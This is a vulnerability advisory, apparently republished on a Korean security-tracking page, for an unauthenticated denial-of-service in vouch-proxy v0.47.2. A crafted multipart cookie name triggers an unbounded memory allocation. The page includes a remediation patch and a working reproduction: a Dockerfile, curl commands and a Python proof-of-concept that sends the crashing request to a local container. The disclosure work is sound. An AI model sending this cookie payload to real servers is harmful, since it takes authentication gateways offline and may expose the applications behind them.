vouch-proxy has an Unbounded Multipart Cookie Allocation DoS
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Unbounded Multipart Cookie Allocation DoS in vouch-proxy
Summary
vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie_1of<N>) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.
Details
The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the _NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:
1// pkg/cookie/cookie.go:123–130 2xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) 3xyArray := strings.Split(xOFy, "of") 4if numParts == -1 { 5 if numParts, err = strconv.Atoi(xyArray[1]); err != nil { 6 return "", fmt.Errorf("multipart cookie fail: %s", err) 7 } 8 cookieParts = make([]string, numParts) // sink: unbounded allocation 9}The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie_1of10000000000 causes the runtime to request approximately 10_000_000_000 × 16 bytes ≈ 160 GB of memory in a single call.
The complete exploit path from network entry to crash:
main.go:167—/validateand/_external-auth-:idare registered wrapped inJWTCacheHandler.pkg/jwtmanager/jwtcache.go:54—JWTCacheHandlercallsFindJWT(r)before any authentication check.pkg/jwtmanager/jwtmanager.go:228—FindJWTcallscookie.Cookie(r).pkg/cookie/cookie.go:109—r.Cookies()reads the attacker-suppliedCookie:header.pkg/cookie/cookie.go:124— cookie name suffix is split on"of".pkg/cookie/cookie.go:126—strconv.Atoi(xyArray[1])parses the attacker-controlled total.pkg/cookie/cookie.go:130— sink:make([]string, numParts)attempts a gigantic heap allocation.
Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.
A suggested remediation is to add a strict upper bound and format validation before the allocation:
1--- a/pkg/cookie/cookie.go 2+++ b/pkg/cookie/cookie.go 3@@ const maxCookieSize = 4000 4+const maxCookieParts = 32 5@@ 6- xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) 7- xyArray := strings.Split(xOFy, "of") 8+ xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) 9+ partStr, totalStr, ok := strings.Cut(xOFy, "of")10+ if !ok || partStr == "" || totalStr == "" {11+ return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")12+ }13 if numParts == -1 {14- if numParts, err = strconv.Atoi(xyArray[1]); err != nil {15+ if numParts, err = strconv.Atoi(totalStr); err != nil {16 return "", fmt.Errorf("multipart cookie fail: %s", err)17 }18+ if numParts < 1 || numParts > maxCookieParts {19+ return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)20+ }21 cookieParts = make([]string, numParts)22 }PoC
Environment setup
Build the vulnerable image from source (requires the vouch-proxy repository at the path below):
1docker build \ 2 -f vuln-001/Dockerfile \ 3 -t vouch-vuln001 \ 4 repoStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):
1docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001Wait for the server to respond to a baseline request (expected HTTP 302 or similar):
1curl -v http://127.0.0.1:19090/validateAttack request
Send a single unauthenticated HTTP GET with the malicious cookie name:
1curl -v http://127.0.0.1:19090/validate \ 2 -H 'Host: app.example.com' \ 3 -H 'Cookie: VouchCookie_1of10000000000=x'Alternatively, run the automated PoC script:
1python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000Expected result
The server process crashes immediately with a Go runtime fatal error. Container logs show:
1fatal error: runtime: out of memory 2 3runtime.makeslice(0x0?, 0x0?, 0x0?) 4 /usr/local/go/src/runtime/slice.go:117 5github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...) 6 /src/pkg/cookie/cookie.go:130 7github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...) 8 /src/pkg/jwtmanager/jwtmanager.go:228 9main.main.JWTCacheHandler.func1(...)10 /src/pkg/jwtmanager/jwtcache.go:54The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.
Minimal configuration (no real OAuth provider required):
1vouch: 2 logLevel: info 3 listen: 0.0.0.0 4 port: 9090 5 domains: 6 - vouch.github.io 7oauth: 8 provider: indieauth 9 client_id: http://vouch.github.io10 auth_url: https://indielogin.com/auth11 callback_url: http://vouch.github.io:9090/authImpact
This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.
An attacker who can send a single HTTP request to the /validate or /_external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.
No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.
Reproduction artifacts
Dockerfile
1# VULN-001 — Unbounded Multipart Cookie Allocation DoS 2# vouch/vouch-proxy v0.47.2 (commit b683f60) 3# 4# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x 5# -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total 6# -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime 7# -> Server process crashes; no authentication required 8# 9# Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo10# Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln00111 12# ---------- Stage 1: compile vouch-proxy from source ----------13FROM golang:1.26 AS builder14 15WORKDIR /src16COPY . .17 18# Build a statically linked binary; skip do.sh which requires live git tags.19# Version ldflags are pinned to the affected commit for reproducibility.20RUN CGO_ENABLED=0 GOOS=linux \21 go build -v \22 -ldflags="-s -w \23 -X main.version=b683f60 \24 -X main.uname=linux \25 -X main.builddt=2024-01-01T00:00:00Z \26 -X main.host=vuln-poc \27 -X main.semver=v0.47.2 \28 -X main.branch=main" \29 -o /vouch-proxy .30 31# ---------- Stage 2: minimal runtime image ----------32FROM debian:bookworm-slim33 34RUN apt-get update && \35 apt-get install -y --no-install-recommends ca-certificates && \36 rm -rf /var/lib/apt/lists/*37 38COPY --from=builder /vouch-proxy /vouch-proxy39 40# Minimal config: allowAllUsers so startup succeeds without real OAuth,41# default cookie name VouchCookie matches the PoC payload.42RUN mkdir -p /config && cat > /config/config.yml << 'EOF'43vouch:44 logLevel: info45 listen: 0.0.0.046 port: 909047 domains:48 - vouch.github.io49oauth:50 provider: indieauth51 client_id: http://vouch.github.io52 auth_url: https://indielogin.com/auth53 callback_url: http://vouch.github.io:9090/auth54EOF55 56EXPOSE 909057ENTRYPOINT ["/vouch-proxy"]poc.py
1#!/usr/bin/env python3 2""" 3VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS 4Target: vouch/vouch-proxy v0.47.2 (commit b683f60) 5File: pkg/cookie/cookie.go:126 6 7Attack summary 8-------------- 9The multipart-cookie reassembly routine reads the total part count from the10attacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls11 make([]string, N)12with no upper-bound check. The /validate endpoint is reachable without any13authentication, so a single HTTP request with N=10_000_000_000 forces the14Go runtime to attempt a ~160 GB heap allocation, which immediately triggers15 runtime: out of memory: cannot allocate ...16and crashes the server process (Go fatal, exit 2).17 18Usage19-----20Run from the repo root (or any directory; paths are absolute):21 22 python3 poc.py [--image IMAGE] [--port PORT] [--parts N]23 24Defaults:25 IMAGE = vouch-vuln00126 PORT = 909027 PARTS = 10000000000 (10 billion -> ~160 GB allocation request)28"""29 30import argparse31import http.client32import json33import subprocess34import sys35import time36 37# ──────────────────────────────────────────────────────────38# Configuration39# ──────────────────────────────────────────────────────────40DEFAULT_IMAGE = "vouch-vuln001"41DEFAULT_PORT = 19090 # host port; container always uses 9090 internally42DEFAULT_PARTS = 10_000_000_000 # drives make([]string, 10_000_000_000)43CONTAINER_NAME = "vouch-vuln001-poc"44STARTUP_TIMEOUT_S = 30 # seconds to wait for the server to listen45READY_POLL_S = 1.046 47 48# ──────────────────────────────────────────────────────────49# Helpers50# ──────────────────────────────────────────────────────────51 52def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:53 """Run a subprocess and return the CompletedProcess."""54 print(f"[cmd] {' '.join(cmd)}")55 return subprocess.run(cmd, **kwargs)56 57 58def cleanup(name: str) -> None:59 """Remove an existing container by name, ignoring errors."""60 subprocess.run(61 ["docker", "rm", "-f", name],62 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,63 )64 65 66def wait_for_server(host: str, port: int, timeout: float) -> bool:67 """Poll GET /validate until we get any response (even 401/302) or timeout."""68 deadline = time.monotonic() + timeout69 while time.monotonic() < deadline:70 try:71 conn = http.client.HTTPConnection(host, port, timeout=2)72 conn.request("GET", "/validate")73 resp = conn.getresponse()74 # Any HTTP response means the server is up.75 print(f"[ready] server responded: HTTP {resp.status}")76 conn.close()77 return True78 except OSError:79 pass80 time.sleep(READY_POLL_S)81 return False82 83 84def container_running(name: str) -> bool:85 """Return True if the named container is still running."""86 r = subprocess.run(87 ["docker", "inspect", "--format", "{{.State.Running}}", name],88 capture_output=True, text=True,89 )90 return r.returncode == 0 and r.stdout.strip() == "true"91 92 93def container_exit_code(name: str) -> int | None:94 """Return the exit code of a stopped container, or None if unknown."""95 r = subprocess.run(96 ["docker", "inspect", "--format", "{{.State.ExitCode}}", name],97 capture_output=True, text=True,98 )99 if r.returncode == 0:100 try:101 return int(r.stdout.strip())102 except ValueError:103 pass104 return None105 106 107def container_oom(name: str) -> bool:108 """Return True if the container was OOM-killed."""109 r = subprocess.run(110 ["docker", "inspect", "--format", "{{.State.OOMKilled}}", name],111 capture_output=True, text=True,112 )113 return r.returncode == 0 and r.stdout.strip() == "true"114 115 116def get_logs(name: str) -> str:117 """Retrieve stdout+stderr from the container."""118 r = subprocess.run(119 ["docker", "logs", name],120 capture_output=True, text=True,121 )122 return (r.stdout + r.stderr).strip()123 124 125# ──────────────────────────────────────────────────────────126# Main127# ──────────────────────────────────────────────────────────128 129def main() -> None:130 parser = argparse.ArgumentParser(description="VULN-001 PoC runner")131 parser.add_argument("--image", default=DEFAULT_IMAGE, help="Docker image name")132 parser.add_argument("--port", default=DEFAULT_PORT, type=int)133 parser.add_argument("--parts", default=DEFAULT_PARTS, type=int,134 help="N in VouchCookie_1ofN (drives allocation size)")135 args = parser.parse_args()136 137 host = "127.0.0.1"138 port = args.port139 image = args.image140 num_parts = args.parts141 cookie_val = f"VouchCookie_1of{num_parts}"142 143 print("=" * 60)144 print("VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS")145 print("=" * 60)146 print(f" Image : {image}")147 print(f" Target : http://{host}:{port}/validate")148 print(f" Cookie : {cookie_val}=x")149 print(f" Expected allocation: ~{(num_parts * 16) // (1024**3)} GB")150 print()151 152 # 1. Clean up any leftover container.153 cleanup(CONTAINER_NAME)154 155 # 2. Start the vouch-proxy container.156 # Memory is uncapped at the Docker level; the Go runtime itself will157 # fail the mmap when the host cannot honor the 160 GB request158 # (overcommit heuristic or insufficient address space).159 run_cmd = [160 "docker", "run", "-d", # no --rm so logs survive after crash161 "--name", CONTAINER_NAME,162 "-p", f"{port}:9090", # host:container — vouch-proxy always binds :9090 internally163 image,164 ]165 r = run(run_cmd, capture_output=True, text=True)166 if r.returncode != 0:167 print(f"[FAIL] docker run failed:\n{r.stderr}")168 sys.exit(1)169 container_id = r.stdout.strip()170 print(f"[info] container started: {container_id[:12]}")171 172 # 3. Wait for the HTTP server to accept connections.173 print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...")174 ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)175 if not ready:176 logs = get_logs(CONTAINER_NAME)177 print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.")178 print("[logs]", logs[-2000:])179 cleanup(CONTAINER_NAME)180 sys.exit(1)181 182 # 4. Send the malicious request.183 print()184 print("[attack] Sending malicious cookie to /validate ...")185 request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x"186 print(f"[attack] {request_line}")187 print()188 189 try:190 conn = http.client.HTTPConnection(host, port, timeout=10)191 conn.request(192 "GET", "/validate",193 headers={194 "Host": "app.example.com",195 "Cookie": f"{cookie_val}=x",196 },197 )198 # The server might crash before sending a response.199 try:200 resp = conn.getresponse()201 body = resp.read(512).decode("utf-8", errors="replace")202 print(f"[info] got HTTP {resp.status}: {body[:200]}")203 except Exception as e:204 print(f"[info] connection broken mid-response (expected): {e}")205 conn.close()206 except Exception as e:207 print(f"[info] request exception (expected if server crashed): {e}")208 209 # 5. Give the container a moment to record its exit state.210 time.sleep(2)211 212 # 6. Collect evidence.213 still_running = container_running(CONTAINER_NAME)214 exit_code = container_exit_code(CONTAINER_NAME)215 oom_killed = container_oom(CONTAINER_NAME)216 logs = get_logs(CONTAINER_NAME)217 218 print("─" * 60)219 print("[evidence] Container still running :", still_running)220 print("[evidence] Container exit code :", exit_code)221 print("[evidence] OOM-killed flag :", oom_killed)222 print()223 print("[logs] (last 3000 chars of container stdout+stderr):")224 print(logs[-3000:] if logs else "(empty)")225 print("─" * 60)226 227 # 7. Verdict228 #229 # Evidence of exploitation (any one suffices):230 # (a) Container exited (not still running) after the malicious request.231 # (b) Exit code == 2 (Go runtime fatal: out of memory).232 # (c) OOMKilled == true (kernel OOM killer fired).233 # (d) Logs contain "out of memory" or "runtime: fatal".234 235 crashed = not still_running236 go_panic = exit_code == 2237 oom_kill = oom_killed238 log_oom = (239 "out of memory" in logs.lower()240 or "runtime: fatal" in logs.lower()241 or "cannot allocate" in logs.lower()242 )243 244 passed = crashed and (go_panic or oom_kill or log_oom)245 246 print()247 if passed:248 print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.")249 # Extract the key OOM line from logs.250 oom_lines = [251 ln for ln in logs.splitlines()252 if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom"))253 ]254 evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}"255 else:256 print("[FAIL] Could not confirm crash. See logs above for details.")257 evidence = logs[-500:] if logs else "(no logs)"258 259 print()260 result = {261 "passed": passed,262 "verdict": "PASS" if passed else "FAIL",263 "reason": (264 "단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공"265 if passed else266 "컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고"267 ),268 "build_command": (269 "docker build -f vuln-001/Dockerfile "270 "-t vouch-vuln001 "271 "repo"272 ),273 "run_command": (274 f"docker run --rm -d --name {CONTAINER_NAME} "275 f"-p {port}:9090 {image}"276 ),277 "poc_command": (278 f"python3 poc.py --image {image} --port {port} --parts {num_parts}"279 ),280 "evidence": evidence,281 "artifacts": ["Dockerfile", "poc.py"],282 }283 284 result_path = (285 "reports/pypiAi_450_vouch__vouch-proxy"286 "/vuln-001/phase2_result.json"287 )288 with open(result_path, "w") as fh:289 json.dump(result, fh, indent=2, ensure_ascii=False)290 print(f"[saved] {result_path}")291 292 # 8. Cleanup.293 cleanup(CONTAINER_NAME)294 295 296if __name__ == "__main__":297 main()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.